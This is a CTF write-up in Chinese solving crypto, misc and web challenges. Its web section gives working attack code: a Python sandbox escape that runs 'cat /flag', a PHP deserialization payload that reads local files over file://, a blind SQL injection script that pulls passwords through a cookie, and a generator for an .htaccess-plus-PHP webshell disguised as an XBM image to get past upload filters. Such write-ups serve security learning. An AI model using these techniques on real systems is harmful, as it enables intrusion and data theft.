今天有丶累,但是吃了牛排加看了两场电影有些开心。
Crypto
commom_encrypt
给了一个密文和一个加密脚本,看了一下,一个简单的分组异或而已,直接利用原加密函数爆破一遍,然后栅栏解密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 c = 'f^n2ekass:iy~>w|`ef"${Ip)8if' def encrypt (data, groupnums ): a = [] b = [] section = int (len (data) / groupnums) for i in range (0 , len (data), section): a.append(data[i:i + section]) for i in range (section): for j in range (groupnums): b.append(a[j][i]) cipher = ('' .join(chr (ord (b[i]) ^ i) for i in range (len (b)))) return cipher for i in range (1 , 255 ): try : e = encrypt(c, i) elen = len (e) field = [] for i in range (2 , elen): if (elen % i == 0 ): field.append(i) for f in field: b = elen / f result = {x: '' for x in range (b)} for i in range (elen): a = i % b result.update({a: result[a] + e[i]}) d = '' for i in range (b): d = d + result[i] if "flag" in d: print d except : pass
得到flag{crypt0_1s_1nt3r3st1ng!} 。
Misc
onion's_secret
解压后得到图片,binwalk 后得到压缩包和hint.txt ,打开提示了有一位需要爆破的密码,爆破解压后又是一个压缩包,看来是要写脚本了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import zipfileimport ospath="./onion/" pw = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' count = 1 while 1 : filename = path + "/onion.zip" zFile = zipfile.ZipFile(filename) hint = open (path + "/hint.txt" ).read().split(" " )[-1 ].split("?" ) for i in pw: password = hint[0 ] + i + hint[1 ] try : zFile.extractall(path="./onion/" + str (count) + "/" , pwd=password) path = "./onion/" + str (count) + "/" count += 1 print password except : pass
得到flag{b64a485e800ab8d3ac4d5b059c33305d} 。
strange_ssid
根据题目提示,写个脚本提取了一下ssid 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from scapy.all import *try : import scapy_http.http except ImportError: from scapy.layers import http packets = rdpcap("./ctf.pcap" ) f = open ("res.txt" , "w" ) for packet in packets: if "802.11 Information Element" in packet: f.write(str (packet).split(" " )[-1 ] + "\n" )
试了几个逐位异或之类的无果,然后突然发现ssid 的长度是32 位的,于是猜测是md5 ,正则匹配全文就只有一组数据符合条件,且有解密结果,遂尝试提交为flag ,答案正确。
Web
escape
一个python 沙箱逃逸,测试发现ban 了许多函数。
1 banned: ["'", '"', '.', 'reload', 'open', 'input', 'file', 'if', 'else', 'eval', 'exit', 'import', 'quit', 'exec', 'code', 'const', 'vars', 'str', 'chr', 'ord', 'local', 'global', 'join', 'format', 'replace', 'translate', 'try', 'except', 'with', 'content', 'frame', 'back']
解法1
ban 了很多,包括单双引号以及点,导致找不到地方输入字符串,苦思冥想后发现似乎可以截取系统变量名和函数名来拼接字符串,且getattr() 函数未被过滤,因此尝试构造如下字符串。
1 print(getattr(os,"system")("ls"))
fuzz 一下,截取如下变量名拼接字符串。
1 2 3 4 5 6 7 8 9 dir(0)[0][4] //s filtered[26][2] //y dir(0)[5][4] //s dir(0)[6][-5] //t dir(0)[5][4] //e dir(0)[4][3] //m dir(0)[3][3] //l dir(0)[0][4] //s
然后就可以成功逃逸。
1 2 3 4 5 system = dir(0)[0][4] + filtered[26][2] + dir(0)[0][4] + dir(0)[6][-5] + dir(0)[5][4] + dir(0)[4][3] ls = dir(0)[3][3] + dir(0)[0][4] print getattr(os,system)(ls)
发现flag 刚好在当前目录下,于是继续拼接字符串。
1 2 3 cat_flag = dir(0)[3][2] + dir(0)[0][2] + dir(0)[6][-5] + s[-3] + dir(0)[10][2] + dir(0)[3][3] + dir(0)[0][2] + dir(0)[13][2] print getattr(os,system)(cat_flag)
得到flag{4EEAA88DA0B3207862D2E4876AF84A3D} 。
解法2
直接使用del filtered[:] 或者filtered=[] 删除过滤器,然后os.system('cat /flag') 。
ezphp
简单反序列化,源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class Hello { protected $a ; function test ( ) { $b = strpos ($this ->a, 'flag' ); if ($b ) { die ("Bye!" ); } $c = curl_init (); curl_setopt ($c , CURLOPT_URL, $this ->a); curl_setopt ($c , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($c , CURLOPT_CONNECTTIMEOUT, 5 ); echo curl_exec ($c ); } function __destruct ( ) { $this ->test (); } } if (isset ($_GET ["z" ])) { unserialize ($_GET ["z" ]); } else { highlight_file (__FILE__ ); }
然后是Payload 。
1 2 3 4 5 6 7 8 9 10 <?php class Hello { protected $a = ("file:///%66%6c%61%67" ); } echo urlencode (serialize (new Hello ()));
得到flag{ea40e3f71bd54d9d1fcfbc8e22d8f7cf} 。
profile
右键源代码得到一个测试账号,登陆后发现在cookie 中存在一个序列化字符串,测试后发现存在sql 注入,Sqlite 的数据库,附上脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import requestsimport sysimport base64url = "http://47.97.253.115:10007/index.php" result = '' command = "select password from users limit 1,1" for i in range (1 , 40 ): payload = "' and substr(({command}),{position},1)>0 --" userinfo = "{\"username\":\"test" + payload.format (command=command, position=str (i)) + "\",\"password\":\"test\"}" userinfo = base64.b64encode(userinfo) cookies = {"userinfo" : userinfo} r = requests.get(url=url, cookies=cookies) if "Welcome" in r.text: min = 1 max = 256 while min < max : cookie = "{\"username\":\"test'{payload}\",\"password\":\"test\"}" payload = "' and substr(({command}),{position},1){operator}'{mid}' --" if (max - min == 1 ): userinfo = "{\"username\":\"test" + payload.format (command=command, position=str (i), operator="=" , mid=chr (mid)) + "\",\"password\":\"test\"}" cookies = {"userinfo" : base64.b64encode(userinfo)} r = requests.get(url=url, cookies=cookies) if "Welcome" in r.text: break else : mid = max break else : mid = (max + min ) // 2 userinfo = "{\"username\":\"test" + payload.format (command=command, position=str (i), operator=">" , mid=chr (mid)) + "\",\"password\":\"test\"}" cookies = {"userinfo" : base64.b64encode(userinfo)} r = requests.get(url=url, cookies=cookies) if "Welcome" in r.text: min = mid else : max = mid result += chr (mid) sys.stdout.write("\r%s" % result) sys.stdout.flush() else : break
得到用户名和密码为zzadmin 和phptxdy ,进去之后是一个文件上传,右键源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php $userdir = "images/" .md5 ($_SERVER ["REMOTE_ADDR" ]); if (!file_exists ($userdir )) { mkdir ($userdir ); } if ($isadmin && isset ($_POST ["upload" ])){ $tmp_name = $_FILES ["fileUpload" ]["tmp_name" ]; $name = $_FILES ["fileUpload" ]["name" ]; $extension = substr ($name ,strrpos ($name ,"." )+1 ); if (preg_match ("/ph/i" ,$extension )){ die ("hacker go away!" ); } if (mb_strpos (file_get_contents ($tmp_name ), "<?" ) !== FALSE ) { die ("hacker go away!" ); } $this_file = fopen ($tmp_name ,"rb" ); $bin = fread ($this_file , 1 ); fclose ($this_file ); $str_into = @unpack ("C1chars" ,$bin ); if ($str_into ["chars" ]==0 ) { die ("hacker go away!" ); } $image_type = exif_imagetype ($tmp_name ); if (!$image_type ){ die ("hacker go away!" ); } $upload_file_path = $userdir ."/" .$name ; move_uploaded_file ($tmp_name , $upload_file_path ); }
没啥思路,随手搜了一下发现了writeup ,改改脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n" def generate_php_file (filename, script ): phpfile = open (filename, 'wb' ) phpfile.write(script.encode('utf-16be' )) phpfile.write(SIZE_HEADER) phpfile.close() def generate_htacess (): htaccess = open ('.htaccess' , 'wb' ) htaccess.write(SIZE_HEADER) htaccess.write(b'AddType application/x-httpd-php .south\n' ) htaccess.write(b'php_value zend.multibyte 1\n' ) htaccess.write(b'php_value zend.detect_unicode 1\n' ) htaccess.write(b'php_value display_errors 1\n' ) htaccess.close() generate_htacess() generate_php_file("webshell.south" , "<?php system($_GET['cmd']); die(); ?>" ) generate_php_file("scandir.south" , "<?php echo implode('\n', scandir($_GET['dir'])); die(); ?>" ) generate_php_file("getfile.south" , "<?php echo file_get_contents($_GET['file']); die(); ?>" ) generate_php_file("info.south" , "<?php phpinfo(); die(); ?>" )
采用xbm 格式【X Bit Map ,绕过exif_imagetype() 函数的检测,上传.htaccess 文件来解析🐎。
在计算机图形学中,X Window 系统使用X BitMap ,一种纯文本二进制图像格式,用于存储X GUI 中使用的光标和图标位图。 XBM 数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题【.h 文件中,每个图像在标题中存储一个数组。
也就是用c 代码来标识一个xbm 文件,前两个#defines 指定位图的高度和宽度【以像素为单位,比如以下xbm 文件:
1 2 3 #define test_width 16 #define test_height 7 static char test_bits[] = {0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,0x00, 0x60 };
再利用不同编码写🐎来绕过文件头的字符串检测。
先传.htaccess ,再传webshell.south ,然后?cmd=cat%20/flag ,得到flag{e7ae3e5e43b6de4bc0a83c6ade652bdf} 。
Refer
Insomni’hack CTF-l33t-hoster复现分析
python 沙盒逃逸 / SSTI